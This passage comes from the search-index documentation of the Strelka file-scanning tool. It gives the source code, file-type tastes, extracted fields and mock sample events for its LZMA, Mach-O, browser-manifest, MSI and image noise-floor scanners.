Source Filetype Include / Excludeapplication/x-lzma application/x-xz lzma_file xz_file"},{"location":"Scanners/ScanLzma.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list size int"},{"location":"Scanners/ScanLzma.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\"elapsed\": 0.001, \"flags\": [], \"size\": 4015}\nCollects metadata from Mach-O files.
Source code instrelka/src/python/strelka/scanners/scan_macho.py class ScanMacho(strelka.Scanner):\n \"\"\"Collects metadata from Mach-O files.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n tmp_directory = options.get(\"tmp_directory\", \"/tmp/\")\n\n macho = MachO.parse(raw=list(data), config=MachO.ParserConfig.deep)\n\n self.event[\"total\"] = {\n \"binaries\": macho.size,\n }\n\n if macho.size > 1:\n for r in range(0, macho.size):\n b = macho.at(r)\n with tempfile.NamedTemporaryFile(dir=tmp_directory) as tmp_data:\n b.write(tmp_data.name)\n tmp_data.flush()\n\n with open(tmp_data.name, \"rb\") as f:\n # Send extracted file back to Strelka\n self.emit_file(f.read(), name=f\"binary_{r}\")\n\n return\n\n binary = macho.at(0)\n\n self.event[\"total\"] = {\n **self.event[\"total\"],\n \"commands\": binary.header.nb_cmds,\n \"libraries\": len(binary.libraries),\n \"relocations\": len(binary.relocations),\n \"sections\": len(binary.sections),\n \"segments\": len(binary.segments),\n \"symbols\": len(binary.symbols),\n }\n\n self.event[\"nx\"] = binary.has_nx\n self.event[\"pie\"] = binary.is_pie\n\n cpu_type = str(binary.header.cpu_type).split(\".\")[1]\n if cpu_type != \"???\":\n cpu_subtype = CPU_SUBTYPES[cpu_type][binary.header.cpu_subtype]\n else:\n cpu_subtype = str(binary.header.cpu_subtype)\n\n self.event[\"header\"] = {\n \"cpu\": {\n \"primary\": cpu_type,\n \"sub\": cpu_subtype,\n },\n \"file\": str(binary.header.file_type).split(\".\")[1],\n \"flags\": [str(flag).split(\".\")[1] for flag in binary.header.flags_list],\n }\n\n self.event[\"relocations\"] = []\n for relo in binary.relocations:\n row = {\n \"address\": relo.address,\n \"size\": relo.size,\n }\n\n if relo.has_section:\n row[\"section\"] = relo.section.name\n if relo.has_segment:\n row[\"segment\"] = relo.segment.name\n if relo.has_symbol:\n row[\"symbol\"] = relo.symbol.name\n\n self.event[\"relocations\"].append(row)\n\n self.event[\"sections\"] = []\n for sec in binary.sections:\n self.event[\"sections\"].append(\n {\n \"alignment\": sec.alignment,\n \"entropy\": sec.entropy,\n \"name\": sec.name,\n \"offset\": sec.offset,\n \"size\": sec.size,\n \"virtual\": {\n \"address\": sec.virtual_address,\n },\n }\n )\n\n self.event[\"segments\"] = []\n for seg in binary.segments:\n self.event[\"segments\"].append(\n {\n \"command\": {\n \"offset\": seg.command_offset,\n \"size\": seg.size,\n \"type\": str(seg.command).split(\".\")[1],\n },\n \"file\": {\n \"offset\": seg.file_offset,\n \"size\": seg.file_size,\n },\n \"flags\": seg.flags,\n \"protection\": {\n \"init\": PROTECTIONS[seg.init_protection],\n \"max\": PROTECTIONS[seg.max_protection],\n },\n \"name\": seg.name,\n \"sections\": [sec.name for sec in seg.sections],\n \"virtual\": {\n \"address\": seg.virtual_address,\n \"size\": seg.virtual_size,\n },\n }\n )\n\n self.event[\"symbols\"] = {\n \"exported\": [sym.name for sym in binary.exported_symbols],\n \"imported\": [sym.name for sym in binary.imported_symbols],\n \"libraries\": [lib.name for lib in binary.libraries],\n \"table\": [],\n }\n\n for sym in binary.symbols:\n row = {\n \"symbol\": sym.name,\n \"origin\": str(sym.origin).rsplit(\".\")[1],\n }\n\n if sym.has_binding_info:\n binding_address = getattr(sym.binding_info, \"address\", None)\n binding_class = getattr(sym.binding_info, \"binding_class\", None)\n binding_type = getattr(sym.binding_info, \"binding_type\", None)\n weak_import = getattr(sym.binding_info, \"weak_import\", None)\n\n # Convert binding_class and binding_type to string and extract the last part after \".\"\n if binding_class and \".\" in str(binding_class):\n binding_class = str(binding_class).rsplit(\".\", 1)[1]\n\n if binding_type and \".\" in str(binding_type):\n binding_type = str(binding_type).rsplit(\".\", 1)[1]\n\n row[\"binding\"] = {\n \"address\": binding_address,\n \"class\": binding_class,\n \"type\": binding_type,\n \"weak_import\": weak_import,\n }\n\n if sym.binding_info.has_library:\n lib = sym.binding_info.library\n row[\"binding\"][\"library\"] = {\n \"name\": lib.name,\n \"size\": lib.size,\n \"timestamp\": lib.timestamp,\n \"version\": {\n \"compatibility\": \".\".join(\n [str(ver) for ver in lib.compatibility_version]\n ),\n \"current\": \".\".join(\n [str(ver) for ver in lib.current_version]\n ),\n },\n }\n\n if sym.binding_info.has_segment:\n row[\"binding\"][\"segment\"] = sym.binding_info.segment.name\n\n elif sym.has_export_info:\n row[\"export\"] = {\n \"address\": sym.export_info.address,\n \"flags\": sym.export_info.flags,\n }\n self.event[\"symbols\"][\"table\"].append(row)\n\n self.event[\"commands\"] = {\n \"commands\": [str(com.command).split(\".\")[1] for com in binary.commands]\n }\n\n if binary.has_code_signature:\n self.event[\"commands\"][\"code_signature\"] = {\n \"command\": {\n \"offset\": binary.code_signature.command_offset,\n \"size\": binary.code_signature.size,\n },\n \"data\": {\n \"offset\": binary.code_signature.data_offset,\n \"size\": binary.code_signature.data_size,\n },\n }\n\n if binary.has_data_in_code:\n self.event[\"commands\"][\"data_in_code\"] = {\n \"command\": {\n \"offset\": binary.data_in_code.command_offset,\n \"size\": binary.data_in_code.size,\n },\n \"data\": {\n \"offset\": binary.data_in_code.data_offset,\n \"size\": binary.data_in_code.data_size,\n },\n }\n\n entries = []\n for e in binary.data_in_code.entries:\n entries.append(\n {\n \"length\": e.length,\n \"offset\": e.offset,\n \"type\": str(e.type).split(\".\")[1],\n }\n )\n self.event[\"commands\"][\"data_in_code\"][\"entries\"] = entries\n\n if binary.has_dyld_environment:\n self.event[\"commands\"][\"dyld_environment\"] = {\n \"command\": {\n \"offset\": binary.dyld_environment.command_offset,\n \"size\": binary.dyld_environment.size,\n },\n \"environment_variable\": binary.dyld_environment.value,\n }\n\n if binary.has_dyld_info:\n self.event[\"commands\"][\"dyld_info\"] = {\n \"bind\": {\n \"offset\": binary.dyld_info.bind[0],\n \"size\": binary.dyld_info.bind[1],\n \"lazy\": {\n \"offset\": binary.dyld_info.lazy_bind[0],\n \"size\": binary.dyld_info.lazy_bind[1],\n },\n \"weak\": {\n \"offset\": binary.dyld_info.weak_bind[0],\n \"size\": binary.dyld_info.weak_bind[1],\n },\n },\n \"command\": {\n \"offset\": binary.dyld_info.command_offset,\n \"size\": binary.dyld_info.size,\n },\n \"export\": {\n \"offset\": binary.dyld_info.export_info[0],\n \"size\": binary.dyld_info.export_info[1],\n },\n \"rebase\": {\n \"offset\": binary.dyld_info.rebase[0],\n \"size\": binary.dyld_info.rebase[1],\n },\n }\n\n if binary.has_dylinker:\n self.event[\"commands\"][\"load_dylinker\"] = {\n \"command\": {\n \"offset\": binary.dylinker.command_offset,\n \"size\": binary.dylinker.size,\n },\n \"name\": binary.dylinker.name,\n }\n\n if binary.has_dynamic_symbol_command:\n self.event[\"commands\"][\"dynamic_symbol\"] = {\n \"command\": {\n \"offset\": binary.dynamic_symbol_command.command_offset,\n \"size\": binary.dynamic_symbol_command.size,\n },\n \"offset\": {\n \"symbol\": {\n \"external\": binary.dynamic_symbol_command.external_reference_symbol_offset,\n \"indirect\": binary.dynamic_symbol_command.indirect_symbol_offset,\n },\n \"relocation\": {\n \"external\": binary.dynamic_symbol_command.external_relocation_offset,\n \"local\": binary.dynamic_symbol_command.local_relocation_offset,\n },\n \"table\": {\n \"module\": binary.dynamic_symbol_command.module_table_offset,\n },\n \"toc\": binary.dynamic_symbol_command.toc_offset,\n },\n }\n\n if binary.has_encryption_info:\n self.event[\"commands\"][\"encryption_info\"] = {\n \"command\": {\n \"offset\": binary.encryption_info.command_offset,\n \"size\": binary.encryption_info.size,\n },\n \"crypt\": {\n \"id\": binary.encryption_info.crypt_id,\n \"offset\": binary.encryption_info.crypt_offset,\n \"size\": binary.encryption_info.crypt_size,\n },\n }\n\n if binary.has_function_starts:\n self.event[\"commands\"][\"function_starts\"] = {\n \"command\": {\n \"offset\": binary.function_starts.command_offset,\n \"size\": binary.function_starts.size,\n },\n \"data\": {\n \"offset\": binary.function_starts.data_offset,\n \"size\": binary.function_starts.data_size,\n },\n }\n\n if binary.has_main_command:\n self.event[\"commands\"][\"main\"] = {\n \"command\": {\n \"offset\": binary.main_command.command_offset,\n \"size\": binary.main_command.size,\n },\n \"entry_point\": binary.main_command.entrypoint,\n \"stack_size\": binary.main_command.stack_size,\n }\n\n if binary.has_rpath:\n self.event[\"commands\"][\"rpath\"] = {\n \"command\": {\n \"offset\": binary.rpath.command_offset,\n \"size\": binary.rpath.size,\n },\n \"path\": binary.rpath.path,\n }\n\n if binary.has_segment_split_info:\n self.event[\"commands\"][\"segment_split_info\"] = {\n \"command\": {\n \"offset\": binary.segment_split_info.command_offset,\n \"size\": binary.segment_split_info.size,\n },\n \"data\": {\n \"offset\": binary.segment_split_info.data_offset,\n \"size\": binary.segment_split_info.data_size,\n },\n }\n\n if binary.has_source_version:\n self.event[\"commands\"][\"source_version\"] = {\n \"command\": {\n \"offset\": binary.source_version.command_offset,\n \"size\": binary.source_version.size,\n },\n \"version\": \".\".join([str(v) for v in binary.source_version.version]),\n }\n\n if binary.has_sub_framework:\n self.event[\"commands\"][\"sub_framework\"] = {\n \"command\": {\n \"offset\": binary.sub_framework.command_offset,\n \"size\": binary.sub_framework.size,\n },\n }\n\n if binary.has_symbol_command:\n self.event[\"commands\"][\"symbol\"] = {\n \"command\": {\n \"offset\": binary.symbol_command.command_offset,\n \"size\": binary.symbol_command.size,\n },\n \"strings\": {\n \"offset\": binary.symbol_command.strings_offset,\n \"size\": binary.symbol_command.strings_size,\n },\n \"symbol\": {\n \"offset\": binary.symbol_command.symbol_offset,\n },\n }\n\n if binary.has_thread_command:\n self.event[\"commands\"][\"thread\"] = {\n \"command\": {\n \"offset\": binary.thread_command.command_offset,\n \"size\": binary.thread_command.size,\n },\n }\n\n if binary.has_uuid:\n self.event[\"commands\"][\"uuid\"] = {\n \"command\": {\n \"offset\": binary.uuid.command_offset,\n \"size\": binary.uuid.size,\n },\n \"uuid\": \"\".join([str(u) for u in binary.uuid.uuid]),\n }\n\n if binary.has_version_min:\n self.event[\"commands\"][\"version_min\"] = {\n \"command\": {\n \"offset\": binary.version_min.command_offset,\n \"size\": binary.version_min.size,\n },\n \"version\": \".\".join([str(v) for v in binary.version_min.version]),\n \"sdk\": \".\".join([str(s) for s in binary.version_min.sdk]),\n }\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanMacho.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/x-mach-binary macho_file"},{"location":"Scanners/ScanMacho.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typecommands dict commands.commands list commands.data_in_code dict commands.data_in_code.command dict commands.data_in_code.command.offset int commands.data_in_code.command.size int commands.data_in_code.data dict commands.data_in_code.data.offset int commands.data_in_code.data.size int commands.data_in_code.entries list commands.dynamic_symbol dict commands.dynamic_symbol.command dict commands.dynamic_symbol.command.offset int commands.dynamic_symbol.command.size int commands.dynamic_symbol.offset dict commands.dynamic_symbol.offset.relocation dict commands.dynamic_symbol.offset.relocation.external int commands.dynamic_symbol.offset.relocation.local int commands.dynamic_symbol.offset.symbol dict commands.dynamic_symbol.offset.symbol.external int commands.dynamic_symbol.offset.symbol.indirect int commands.dynamic_symbol.offset.table dict commands.dynamic_symbol.offset.table.module int commands.dynamic_symbol.offset.toc int commands.function_starts dict commands.function_starts.command dict commands.function_starts.command.offset int commands.function_starts.command.size int commands.function_starts.data dict commands.function_starts.data.offset int commands.function_starts.data.size int commands.load_dylinker dict commands.load_dylinker.command dict commands.load_dylinker.command.offset int commands.load_dylinker.command.size int commands.load_dylinker.name str commands.main dict commands.main.command dict commands.main.command.offset int commands.main.command.size int commands.main.entry_point int commands.main.stack_size int commands.source_version dict commands.source_version.command dict commands.source_version.command.offset int commands.source_version.command.size int commands.source_version.version str commands.symbol dict commands.symbol.command dict commands.symbol.command.offset int commands.symbol.command.size int commands.symbol.strings dict commands.symbol.strings.offset int commands.symbol.strings.size int commands.symbol.symbol dict commands.symbol.symbol.offset int commands.uuid dict commands.uuid.command dict commands.uuid.command.offset int commands.uuid.command.size int commands.uuid.uuid str elapsed str flags list header dict header.cpu dict header.cpu.primary str header.cpu.sub str header.file str header.flags list nx bool pie bool relocations list sections list sections.alignment int sections.entropy str sections.name str sections.offset int sections.size int sections.virtual dict sections.virtual.address int segments list segments.command dict segments.command.offset int segments.command.size int segments.command.type str segments.file dict segments.file.offset int segments.file.size int segments.flags int segments.name str segments.protection dict segments.protection.init str segments.protection.max str segments.sections list segments.virtual dict segments.virtual.address int segments.virtual.size int symbols dict symbols.exported list symbols.imported list symbols.libraries list symbols.table list symbols.table.binding dict symbols.table.binding.address int symbols.table.binding.class NoneType symbols.table.binding.library dict symbols.table.binding.library.name str symbols.table.binding.library.size int symbols.table.binding.library.timestamp int symbols.table.binding.library.version dict symbols.table.binding.library.version.compatibility str symbols.table.binding.library.version.current str symbols.table.binding.segment str symbols.table.binding.type NoneType symbols.table.binding.weak_import bool symbols.table.export dict symbols.table.export.address int symbols.table.export.flags int symbols.table.origin str symbols.table.symbol str total dict total.binaries int total.commands int total.libraries int total.relocations int total.sections int total.segments int total.symbols int"},{"location":"Scanners/ScanMacho.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"total\": {\n \"binaries\": 1,\n \"commands\": 16,\n \"libraries\": 1,\n \"relocations\": 0,\n \"sections\": 5,\n \"segments\": 4,\n \"symbols\": 3,\n },\n \"nx\": True,\n \"pie\": True,\n \"header\": {\n \"cpu\": {\n \"primary\": \"x86_64\",\n \"sub\": \"x86_ALL, x86_64_ALL, I386_ALL, or 386\",\n },\n \"file\": \"EXECUTE\",\n \"flags\": [\"TWOLEVEL\", \"NOUNDEFS\", \"DYLDLINK\", \"PIE\"],\n },\n \"relocations\": [],\n \"sections\": [\n {\n \"alignment\": 4,\n \"entropy\": 0.001,\n \"name\": \"__text\",\n \"offset\": 16240,\n \"size\": 37,\n \"virtual\": {\"address\": 4294983536},\n },\n {\n \"alignment\": 1,\n \"entropy\": 0.001,\n \"name\": \"__stubs\",\n \"offset\": 16278,\n \"size\": 6,\n \"virtual\": {\"address\": 4294983574},\n },\n {\n \"alignment\": 0,\n \"entropy\": 0.001,\n \"name\": \"__cstring\",\n \"offset\": 16284,\n \"size\": 13,\n \"virtual\": {\"address\": 4294983580},\n },\n {\n \"alignment\": 2,\n \"entropy\": 0.001,\n \"name\": \"__unwind_info\",\n \"offset\": 16300,\n \"size\": 72,\n \"virtual\": {\"address\": 4294983596},\n },\n {\n \"alignment\": 3,\n \"entropy\": 0.001,\n \"name\": \"__got\",\n \"offset\": 16384,\n \"size\": 8,\n \"virtual\": {\"address\": 4294983680},\n },\n ],\n \"segments\": [\n {\n \"command\": {\"offset\": 32, \"size\": 72, \"type\": \"SEGMENT_64\"},\n \"file\": {\"offset\": 0, \"size\": 0},\n \"flags\": 0,\n \"protection\": {\"init\": \"---\", \"max\": \"---\"},\n \"name\": \"__PAGEZERO\",\n \"sections\": [],\n \"virtual\": {\"address\": 0, \"size\": 4294967296},\n },\n {\n \"command\": {\"offset\": 104, \"size\": 392, \"type\": \"SEGMENT_64\"},\n \"file\": {\"offset\": 0, \"size\": 16384},\n \"flags\": 0,\n \"protection\": {\"init\": \"r-x\", \"max\": \"r-x\"},\n \"name\": \"__TEXT\",\n \"sections\": [\"__text\", \"__stubs\", \"__cstring\", \"__unwind_info\"],\n \"virtual\": {\"address\": 4294967296, \"size\": 16384},\n },\n {\n \"command\": {\"offset\": 496, \"size\": 152, \"type\": \"SEGMENT_64\"},\n \"file\": {\"offset\": 16384, \"size\": 16384},\n \"flags\": 16,\n \"protection\": {\"init\": \"rw-\", \"max\": \"rw-\"},\n \"name\": \"__DATA_CONST\",\n \"sections\": [\"__got\"],\n \"virtual\": {\"address\": 4294983680, \"size\": 16384},\n },\n {\n \"command\": {\"offset\": 648, \"size\": 72, \"type\": \"SEGMENT_64\"},\n \"file\": {\"offset\": 32768, \"size\": 248},\n \"flags\": 0,\n \"protection\": {\"init\": \"r--\", \"max\": \"r--\"},\n \"name\": \"__LINKEDIT\",\n \"sections\": [],\n \"virtual\": {\"address\": 4295000064, \"size\": 16384},\n },\n ],\n \"symbols\": {\n \"exported\": [\"__mh_execute_header\", \"_main\"],\n \"imported\": [\"_printf\"],\n \"libraries\": [\"/usr/lib/libSystem.B.dylib\"],\n \"table\": [\n {\n \"export\": {\"address\": 0, \"flags\": 0},\n \"origin\": \"LC_SYMTAB\",\n \"symbol\": \"__mh_execute_header\",\n },\n {\n \"export\": {\"address\": 16240, \"flags\": 0},\n \"origin\": \"LC_SYMTAB\",\n \"symbol\": \"_main\",\n },\n {\n \"binding\": {\n \"address\": 0,\n \"class\": None,\n \"library\": {\n \"name\": \"/usr/lib/libSystem.B.dylib\",\n \"size\": 56,\n \"timestamp\": 2,\n \"version\": {\n \"compatibility\": \"1.0.0\",\n \"current\": \"1319.0.0\",\n },\n },\n \"segment\": \"__DATA_CONST\",\n \"type\": None,\n \"weak_import\": False,\n },\n \"origin\": \"LC_SYMTAB\",\n \"symbol\": \"_printf\",\n },\n ],\n },\n \"commands\": {\n \"commands\": [\n \"SEGMENT_64\",\n \"SEGMENT_64\",\n \"SEGMENT_64\",\n \"SEGMENT_64\",\n \"DYLD_CHAINED_FIXUPS\",\n \"DYLD_EXPORTS_TRIE\",\n \"SYMTAB\",\n \"DYSYMTAB\",\n \"LOAD_DYLINKER\",\n \"UUID\",\n \"BUILD_VERSION\",\n \"SOURCE_VERSION\",\n \"MAIN\",\n \"LOAD_DYLIB\",\n \"FUNCTION_STARTS\",\n \"DATA_IN_CODE\",\n ],\n \"data_in_code\": {\n \"command\": {\"offset\": 1056, \"size\": 16},\n \"data\": {\"offset\": 32920, \"size\": 0},\n \"entries\": [],\n },\n \"load_dylinker\": {\n \"command\": {\"offset\": 856, \"size\": 32},\n \"name\": \"/usr/lib/dyld\",\n },\n \"dynamic_symbol\": {\n \"command\": {\"offset\": 776, \"size\": 80},\n \"offset\": {\n \"symbol\": {\"external\": 0, \"indirect\": 32968},\n \"relocation\": {\"external\": 0, \"local\": 0},\n \"table\": {\"module\": 0},\n \"toc\": 0,\n },\n },\n \"function_starts\": {\n \"command\": {\"offset\": 1040, \"size\": 16},\n \"data\": {\"offset\": 32912, \"size\": 8},\n },\n \"main\": {\n \"command\": {\"offset\": 960, \"size\": 24},\n \"entry_point\": 16240,\n \"stack_size\": 0,\n },\n \"source_version\": {\n \"command\": {\"offset\": 944, \"size\": 16},\n \"version\": \"0.0.0.0.0\",\n },\n \"symbol\": {\n \"command\": {\"offset\": 752, \"size\": 24},\n \"strings\": {\"offset\": 32976, \"size\": 40},\n \"symbol\": {\"offset\": 32920},\n },\n \"uuid\": {\n \"command\": {\"offset\": 888, \"size\": 24},\n \"uuid\": \"3412979242375017913918719719156127234240\",\n },\n },\n }\nParses browser extension's manifest.json.
Source code instrelka/src/python/strelka/scanners/scan_manifest.py class ScanManifest(strelka.Scanner):\n \"\"\"Parses browser extension's manifest.json.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n try:\n jsondata = json.loads(data)\n required_keys = [\"name\", \"manifest_version\", \"version\"]\n optional_keys = [\n \"content_scripts\",\n \"content_security_policy\",\n \"description\",\n \"permissions\",\n \"update_url\",\n \"key\",\n ]\n for key in required_keys:\n self.event[key] = jsondata[key]\n for key in optional_keys:\n if jsondata.get(key):\n if isinstance(jsondata[key], list):\n self.event[key] = flatten(jsondata[key])\n else:\n self.event[key] = jsondata[key]\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"error parsing manifest\")\n return\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanManifest.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludebrowser_manifest"},{"location":"Scanners/ScanManifest.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typedescription str elapsed str flags list manifest_version int name str permissions list version str"},{"location":"Scanners/ScanManifest.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"name\": \"Focus Mode\",\n \"manifest_version\": 3,\n \"version\": \"1.0\",\n \"description\": \"Enable reading mode on Chrome's official Extensions and Chrome Web Store documentation.\",\n \"permissions\": [\"scripting\", \"activeTab\"],\n }\nCollects metadata parsed by Exiftool.
Optionskeys: exiftool key values to log in the event. Defaults to all. tmp_directory: Location where tempfile writes temporary files. Defaults to '/tmp/'.
Source code instrelka/src/python/strelka/scanners/scan_msi.py class ScanMsi(strelka.Scanner):\n \"\"\"Collects metadata parsed by Exiftool.\n\n Options:\n keys: exiftool key values to log in the event.\n Defaults to all.\n tmp_directory: Location where tempfile writes temporary files.\n Defaults to '/tmp/'.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n # Get a list of keys to collect from the MSI file\n keys = options.get(\"keys\", [])\n\n # Get the temporary directory to write the MSI file to\n tmp_directory = options.get(\"tmp_directory\", \"/tmp/\")\n\n with tempfile.NamedTemporaryFile(dir=tmp_directory) as tmp_data:\n # Write the MSI data to the temporary file\n tmp_data.write(data)\n tmp_data.flush()\n\n # Run exiftool to extract metadata from the file\n try:\n (stdout, stderr) = subprocess.Popen(\n [\"exiftool\", \"-d\", '\"%s\"', \"-j\", tmp_data.name],\n stdout=subprocess.PIPE,\n stderr=subprocess.DEVNULL,\n ).communicate()\n except strelka.ScannerTimeout:\n raise\n except Exception as e:\n # Handle any exceptions raised while running exiftool\n self.flags.append(f\"msi_extract_error: {e}\")\n return\n\n if stdout:\n # Load the metadata from exiftool's JSON output\n try:\n exiftool_dictionary = json.loads(stdout)[0]\n except ValueError as e:\n # Handle any errors while parsing the JSON output\n self.flags.append(f\"msi_parse_error: {e}\")\n return\n\n for k, v in exiftool_dictionary.items():\n # Only collect the keys specified in the `keys` list\n if keys and k not in keys:\n continue\n\n # Add the metadata key and value to the event\n self.event[k] = v\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanMsi.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/vnd.ms-msi application/x-msi image/vnd.fpx"},{"location":"Scanners/ScanMsi.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field TypeAuthor str CodePage str Comments str CreateDate str Directory str ExifToolVersion str FileAccessDate str FileInodeChangeDate str FileModifyDate str FileName str FilePermissions str FileSize str FileType str FileTypeExtension str Keywords str MIMEType str ModifyDate str Pages int RevisionNumber str Security str Software str SourceFile str Subject str Template str Title str Words int elapsed str flags list"},{"location":"Scanners/ScanMsi.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"SourceFile\": 0.001,\n \"ExifToolVersion\": 0.001,\n \"FileName\": 0.001,\n \"Directory\": \"/tmp\",\n \"FileSize\": 0.001,\n \"FileModifyDate\": 0.001,\n \"FileAccessDate\": 0.001,\n \"FileInodeChangeDate\": 0.001,\n \"FilePermissions\": 0.001,\n \"FileType\": \"FPX\",\n \"FileTypeExtension\": \"fpx\",\n \"MIMEType\": \"image/vnd.fpx\",\n \"CodePage\": \"Windows Latin 1 (Western European)\",\n \"Title\": \"Installation Database\",\n \"Subject\": \"StrelkaMSITest\",\n \"Author\": \"Target\",\n \"Keywords\": \"Installer\",\n \"Comments\": \"This installer database contains the logic and data required to install StrelkaMSITest.\",\n \"Template\": \"Intel;1033\",\n \"RevisionNumber\": \"{3F5D9FF7-E061-48CF-95B2-0AA7C9E5DE2A}\",\n \"CreateDate\": 0.001,\n \"ModifyDate\": 0.001,\n \"Pages\": 200,\n \"Words\": 2,\n \"Software\": \"Windows Installer XML Toolset (3.11.2.4516)\",\n \"Security\": \"Read-only recommended\",\n }\nConverts RGB image into the HSV (Hue, Saturation, Value) Color Space to determine the noise floor of the image.
This algorithm can be modified to be more/less strict by changing the following variables in the source code: p = minimum saturation percentage threshold per pixel (value between 0 and 1). s_thr = minimum percentage threshold for all the pixels in the image.
Current Setting: At least 25% (s_thr) of pixels must have a saturation value of at least 5% (p)
The higher the value for both variables, the more strict the algorithm is.
Source code instrelka/src/python/strelka/scanners/scan_nf.py class ScanNf(strelka.Scanner):\n \"\"\"\n Converts RGB image into the HSV (Hue, Saturation, Value) Color Space\n to determine the noise floor of the image.\n\n This algorithm can be modified to be more/less strict by changing\n the following variables in the source code:\n p = minimum saturation percentage threshold per pixel (value between 0 and 1).\n s_thr = minimum percentage threshold for all the pixels in the image.\n\n Current Setting: At least 25% (s_thr) of pixels must have a saturation value of at least 5% (p)\n\n The higher the value for both variables, the more strict the algorithm is.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n try:\n # Convert image to HSV color space\n np_array = np.frombuffer(data, np.uint8)\n np_image = cv2.imdecode(\n np_array, cv2.IMREAD_IGNORE_ORIENTATION | cv2.IMREAD_COLOR\n )\n image = cv2.cvtColor(np_image, cv2.COLOR_BGR2HSV)\n\n # Calculate histogram of saturation channel\n s = cv2.calcHist([image], [1], None, [256], [0, 256])\n\n # Calculate percentage of pixels with saturation >= p\n p = 0.05\n s_perc = float(np.sum(s[int(p * 255.0) : -1])) / float(\n np.prod(image.shape[0:2])\n )\n\n # Percentage threshold; above: valid image, below: noise\n s_thr = 0.25\n self.event[\"percentage\"] = s_perc\n self.event[\"threshold\"] = s_thr\n if s_perc < s_thr:\n self.event[\"noise_floor\"] = True # Potentially dangerous\n else:\n self.event[\"noise_floor\"] = False # Not dangerous\n except cv2.error:\n self.flags.append(\n f\"{self.__class__.__name__} Exception: Error loading image with cv2 library.\"\n )\n except Exception as e:\n self.flags.append(f\"{self.__class__.__name__} Exception: {str(e)[:50]}\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanNf.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude"},{"location":"Scanners/ScanNf.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
